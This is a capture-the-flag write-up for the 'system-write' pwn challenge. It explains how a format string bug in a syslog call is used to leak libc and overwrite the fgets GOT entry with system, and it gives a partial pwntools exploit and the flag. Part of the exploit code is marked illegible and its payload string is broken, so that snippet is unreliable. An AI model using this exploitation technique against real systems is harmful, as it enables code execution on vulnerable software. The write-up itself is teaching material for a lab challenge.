

# system-write

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Tags: [pwn](#)

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## Challenge Description

Wait what? We can write data, but where?

Flag format: CTF{sha256}

## Intuition

Checksec the binary to see what we have.

```
$ checksec syslog-write
LIBC_FILE=/lib/x86_64-linux-gnu/libc.so.6
RELRO           STACK CANARY      NX            PIE            RPATH          RUNPATH      Symbols      FORTIFY
Fortified      Fortifiable FILE
Partial RELRO   Canary found    NX enabled    No PIE         No RPATH      No RUNPATH   49 Symbols   N
o      0      4      syslog-write
```

We have PIE disabled and Partial RELRO. Partial RELRO might mean that we will overwrite GOT entries.

We decompile the binary and find numerous vulnerabilities. First a buffer overflow is present in the `main` function, when we read the "log level":

```
printf("Enter the log level (LOG_INFO, LOG_WARNING, LOG_ERR, etc.): ");
__isoc99_scanf(" %[^\\n]", local_222);
```

Sadly, we can't do much with it initially, as the function does not return. Every exit point is covered by `exit()`.

Another vulnerability that is evident is the fact that our input gets passed directly to `syslog`. What is great about this is that `syslog` uses a format string as its second argument. So we have a format string vulnerability.

```
printf("Enter the message to write to syslog: ");
fgets(local_218, 0x200, stdin);
fgets(local_218, 0x200, stdin);
syslog((int)local_222, local_218);
closelog();
```

## Solution

So first we obviously have to leak some data. We leak a whole lot of addresses from the stack by passing a bunch of `"%x"` to `syslog`. We manually identify the return for the `main` function. We can make our lives easier by passing a bunch of "a" characters to the vulnerable buffer, to create a pattern of "a" characters leading up to the return address.

After leaking and checking in the debugger, we find out the return address for main leads to `__libc_init_first`. We find the libc version using the [libc database](#) and we save some offsets to `system` from there. In the exploit we next calculate the address for `system` and use a classic arbitrary write primitive from the format string vulnerability. We overwrite the address of `fgets`, found in GOT, two bytes at a time (to avoid long printing times). Now, our next input to fgets will get

interpreted as a shell command. But how can we control it now that `fgets` is compromised? Easy, we can reuse the buffer overflow from the earlier `scanf` to overwrite it with a command. The exploit is below:

[illegible]

```
# You have to make sure the stack is correctly aligned
# and that the parameter access (%11$hn and %12$hn) leads to the correct addresses
# Use a debugger!
payload = "%{ }c%11$hn%{ }c%12$hnbbbbbbb".format(x, y-x).encode()
print(payload)

# Overwrite fgets with system
target.sendline(b"1")
target.sendline(p64(fgets_gotplt_addr) + p64(fgets_gotplt_addr_next)) # honestly don't remember if this
really matters
target.sendline(payload + p64(fgets_gotplt_addr) + p64(fgets_gotplt_addr_next))

# run /bin/cat flag.txt
target.sendline(b"1")
target.sendline(b"A" * 10 + b"/bin/cat flag.txt") # overflow and win

target.interactive()
```

### Flag

CTF{61534936dc22499d88206f04c36ccda47290ad4656345033c6c88f06a86a2b92}

[Original writeup](https://dothidden.xyz/defcamp_qualys_2023/system-write/) (https://dothidden.xyz/defcamp\_qualys\_2023/system-write/).

## Comments